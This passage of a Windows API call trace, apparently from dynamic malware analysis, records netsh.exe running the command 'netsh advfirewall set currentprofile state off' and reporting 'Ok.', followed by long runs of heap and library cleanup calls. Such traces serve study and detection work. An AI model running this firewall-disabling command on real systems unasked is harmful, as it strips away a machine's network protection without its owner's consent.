	[0241.571] lstrcmpiW (lpString1="advfirewall", lpString2="advfirewall") returned 0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af310
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af670
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x5e) returned 0x1fa728afbd0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af690
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af6b0
	[0241.571] wcscpy_s (in: _Destination=0x1fa728af6b0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af730
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa72871140
	[0241.571] wcscpy_s (in: _Destination=0x1fa72871140, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728c8880
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4ed0
	[0241.571] wcscpy_s (in: _Destination=0x1fa728b4ed0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728c86c0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1e) returned 0x1fa728bff70
	[0241.571] wcscpy_s (in: _Destination=0x1fa728bff70, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.571] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728c89c0
	[0241.571] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728c89a0
	[0241.572] wcscpy_s (in: _Destination=0x1fa728c89a0, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0
	[0241.572] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728c86e0
	[0241.572] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4d20
	[0241.572] wcscpy_s (in: _Destination=0x1fa728b4d20, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0
	[0241.572] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728afbd0) returned 1
	[0241.572] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af670) returned 1
	[0241.572] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871140) returned 1
	[0241.572] GetProcessHeap () returned 0x1fa72860000
	[0241.572] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728c8700
	[0241.572] lstrcmpiW (lpString1="advfirewall", lpString2="routing") returned -1
	[0241.572] lstrcmpiW (lpString1="advfirewall", lpString2="ip") returned -1
	[0241.572] lstrcmpiW (lpString1="advfirewall", lpString2="ipv6") returned -1
	[0241.572] lstrcmpiW (lpString1="advfirewall", lpString2="aaaa") returned 1
	[0241.572] lstrcmpiW (lpString1="advfirewall", lpString2="ras") returned -1
	[0241.572] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15
	[0241.572] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11
	[0241.572] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52
	[0241.572] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1
	[0241.572] _wcsnicmp (_String1="set", _String2="imp", _MaxCount=0x3) returned 10
	[0241.572] _wcsnicmp (_String1="set", _String2="exp", _MaxCount=0x3) returned 14
	[0241.572] _wcsnicmp (_String1="set", _String2="con", _MaxCount=0x3) returned 16
	[0241.572] _wcsnicmp (_String1="set", _String2="fir", _MaxCount=0x3) returned 13
	[0241.572] _wcsnicmp (_String1="set", _String2="mai", _MaxCount=0x3) returned 6
	[0241.572] _wcsnicmp (_String1="set", _String2="mon", _MaxCount=0x3) returned 6
	[0241.572] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0
	[0241.572] _wcsnicmp (_String1="currentprofile", _String2="help", _MaxCount=0xe) returned -5
	[0241.572] _wcsnicmp (_String1="currentprofile", _String2="?", _MaxCount=0xe) returned 36
	[0241.572] wcstok (in: _String="domainprofile", _Delimiter=" ", _Context=0x17c6b112020 | out: _String="domainprofile", _Context=0x17c6b112020) returned="domainprofile"
	[0241.572] _wcsnicmp (_String1="currentprofile", _String2="domainprofile", _MaxCount=0xe) returned -1
	[0241.572] wcstok (in: _String="privateprofile", _Delimiter=" ", _Context=0x17c6b112170 | out: _String="privateprofile", _Context=0x17c6b112170) returned="privateprofile"
	[0241.572] _wcsnicmp (_String1="currentprofile", _String2="privateprofile", _MaxCount=0xe) returned -13
	[0241.572] wcstok (in: _String="publicprofile", _Delimiter=" ", _Context=0x17c6b1125c0 | out: _String="publicprofile", _Context=0x17c6b1125c0) returned="publicprofile"
	[0241.573] _wcsnicmp (_String1="currentprofile", _String2="publicprofile", _MaxCount=0xe) returned -13
	[0241.573] wcstok (in: _String="currentprofile", _Delimiter=" ", _Context=0x17c6b1125f0 | out: _String="currentprofile", _Context=0x17c6b1125f0) returned="currentprofile"
	[0241.573] _wcsnicmp (_String1="currentprofile", _String2="currentprofile", _MaxCount=0xe) returned 0
	[0241.573] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65 | out: _String=0x0, _Context=0x65) returned 0x0
	[0241.573] lstrcmpiW (lpString1="advfirewall", lpString2="netsh") returned -1
	[0241.573] LdrStandardizeSystemPath () returned 0x7ff7b459bfc4
	[0247.163] LoadStringW (in: hInstance=0x0, uID=0x2, lpBuffer=0x7e0775f560, cchBufferMax=16384 | out: lpBuffer="Ok.\n") returned 0x4
	[0247.163] FormatMessageW (in: dwFlags=0x500, lpSource=0x7e0775f560, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x7e0775f540, nSize=0x0, Arguments=0x7e0775f550 | out: lpBuffer="啰犋Ǻ") returned 0x5
	[0247.163] GetStdHandle (nStdHandle=0xfffffff5) returned 0x254
	[0247.163] GetConsoleOutputCP () returned 0x1b5
	[0247.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
	[0247.411] GetProcessHeap () returned 0x1fa72860000
	[0247.411] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x6) returned 0x1fa728b4d90
	[0247.411] GetConsoleOutputCP () returned 0x1b5
	[0247.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x1fa728b4d90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ok.\r\n", lpUsedDefaultChar=0x0) returned 6
	[0247.729] WriteFile (in: hFile=0x254, lpBuffer=0x1fa728b4d90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x7e0775f4f0, lpOverlapped=0x0 | out: lpBuffer=0x1fa728b4d90*, lpNumberOfBytesWritten=0x7e0775f4f0*=0x5, lpOverlapped=0x0) returned 1
	[0247.729] GetProcessHeap () returned 0x1fa72860000
	[0247.729] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4d90) returned 1
	[0247.729] LocalFree (hMem=0x1fa728b5570) returned 0x0
	[0247.729] FormatMessageW (in: dwFlags=0x500, lpSource=0x7ff7b459b80c, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x7e07767570, nSize=0x0, Arguments=0x7e07767580 | out: lpBuffer="\x8c80\x728c\x1fa") returned 0x2
	[0247.729] GetStdHandle (nStdHandle=0xfffffff5) returned 0x254
	[0247.730] GetConsoleOutputCP () returned 0x1b5
	[0247.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3
	[0247.880] GetProcessHeap () returned 0x1fa72860000
	[0247.880] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x3) returned 0x1fa728b4e60
	[0247.880] GetConsoleOutputCP () returned 0x1b5
	[0248.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x1fa728b4e60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0248.081] WriteFile (in: hFile=0x254, lpBuffer=0x1fa728b4e60*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x7e07767520, lpOverlapped=0x0 | out: lpBuffer=0x1fa728b4e60*, lpNumberOfBytesWritten=0x7e07767520*=0x2, lpOverlapped=0x0) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4e60) returned 1
	[0248.081] LocalFree (hMem=0x1fa728c8c80) returned 0x0
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af2b0) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af610) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4f80) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728c0210) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af2d0) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4d10) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.081] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b46f0) returned 1
	[0248.081] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af110) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af350) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4d00) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af1b0) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728c03c0) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af1f0) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af290) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af210) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4c30) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af5d0) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af0b0) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af370) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af630) returned 1
	[0248.082] GetProcessHeap () returned 0x1fa72860000
	[0248.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af650) returned 1
	[0248.321] GetProcessHeap () returned 0x1fa72860000
	[0248.321] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b5a60) returned 1
	[0248.321] FreeLibrary (hLibModule=0x7ff7b4590000) returned 1
	[0248.322] FreeLibrary (hLibModule=0x7ff85d5c0000) returned 1
	[0248.322] FreeLibrary (hLibModule=0x7ff8509a0000) returned 1
	[0248.512] free (_Block=0x1fa729b6e00) 
	[0248.513] LocalFree (hMem=0x1fa72883270) returned 0x0
	[0248.513] LocalFree (hMem=0x1fa728822e0) returned 0x0
	[0248.513] LocalFree (hMem=0x1fa7287d350) returned 0x0
	[0248.513] LocalFree (hMem=0x1fa728798b0) returned 0x0
	[0248.514] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1fa72883270
	[0248.514] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1fa728bffa0
	[0248.514] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1fa728c04b0
	[0248.514] free (_Block=0x1fa729b1730) 
	[0248.514] free (_Block=0x0) 
	[0248.514] free (_Block=0x1fa729b1710) 
	[0248.514] free (_Block=0x1fa729b1750) 
	[0248.514] free (_Block=0x1fa729b6de0) 
	[0248.514] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1fa728bdf40
	[0248.527] LocalFree (hMem=0x1fa728bdf40) returned 0x0
	[0248.527] LocalFree (hMem=0x1fa728835c0) returned 0x0
	[0248.527] LocalFree (hMem=0x1fa72883270) returned 0x0
	[0248.527] free (_Block=0x1fa729b5520) 
	[0248.527] GetModuleHandleA (lpModuleName="MSVCRT.DLL") returned 0x7ff8602c0000
	[0248.527] FreeLibrary (hLibModule=0x7ff8602c0000) returned 1
	[0248.527] LocalFree (hMem=0x1fa728c04b0) returned 0x0
	[0248.528] LocalFree (hMem=0x1fa728bffa0) returned 0x0
	[0248.528] GlobalHandle (pMem=0x1fa72883050) returned 0x1fa74160008
	[0248.528] GlobalUnlock (hMem=0x1fa74160008) returned 0
	[0248.533] FreeLibrary (hLibModule=0x7ff84b1b0000) returned 1
	[0248.537] FreeLibrary (hLibModule=0x7ff8549a0000) returned 1
	[0248.540] FreeLibrary (hLibModule=0x7ff850a00000) returned 1
	[0248.584] FreeLibrary (hLibModule=0x7ff84b140000) returned 1
	[0248.586] FreeLibrary (hLibModule=0x7ff851200000) returned 1
	[0248.651] FreeLibrary (hLibModule=0x7ff84b100000) returned 1
	[0248.656] FreeLibrary (hLibModule=0x7ff846260000) returned 1
	[0248.957] FreeLibrary (hLibModule=0x7ff850f20000) returned 1
	[0248.958] FreeLibrary (hLibModule=0x7ff844550000) returned 1
	[0249.097] FreeLibrary (hLibModule=0x7ff844490000) returned 1
	[0249.098] FreeLibrary (hLibModule=0x7ff844450000) returned 1
	[0249.103] FreeLibrary (hLibModule=0x7ff8508d0000) returned 1
	[0249.104] FreeLibrary (hLibModule=0x7ff849fb0000) returned 1
	[0249.105] FreeLibrary (hLibModule=0x7ff850870000) returned 1
	[0249.106] FreeLibrary (hLibModule=0x7ff846570000) returned 1
	[0249.127] FreeLibrary (hLibModule=0x7ff84b3e0000) returned 1
	[0249.129] FreeLibrary (hLibModule=0x7ff8464c0000) returned 1
	[0249.133] FreeLibrary (hLibModule=0x7ff846450000) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7288fec0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e600) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e6a0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e5e0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e6c0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e8e0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ebc0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e5a0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e9a0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e900) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ea80) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.325] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e7c0) returned 1
	[0249.325] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eb80) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e620) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ebe0) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ec20) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e6e0) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ec40) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ea00) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e920) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eb00) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e4c0) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eb60) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e700) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e560) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e9e0) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ea20) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e540) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e740) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e660) returned 1
	[0249.326] GetProcessHeap () returned 0x1fa72860000
	[0249.326] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eac0) returned 1
	[0249.327] GetProcessHeap () returned 0x1fa72860000
	[0249.327] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eaa0) returned 1
	[0249.327] GetProcessHeap () returned 0x1fa72860000
	[0249.327] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ea40) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e840) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e9c0) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eba0) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e680) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e5c0) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e640) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eae0) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e720) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e760) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ec00) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e8a0) returned 1
	[0249.330] GetProcessHeap () returned 0x1fa72860000
	[0249.330] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e520) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eb20) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e780) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e7a0) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e7e0) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ea60) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e940) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e820) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286eb40) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e800) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e580) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e4e0) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e8c0) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e860) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e880) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e960) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e500) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286e980) returned 1
	[0249.331] GetProcessHeap () returned 0x1fa72860000
	[0249.331] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fea0) returned 1
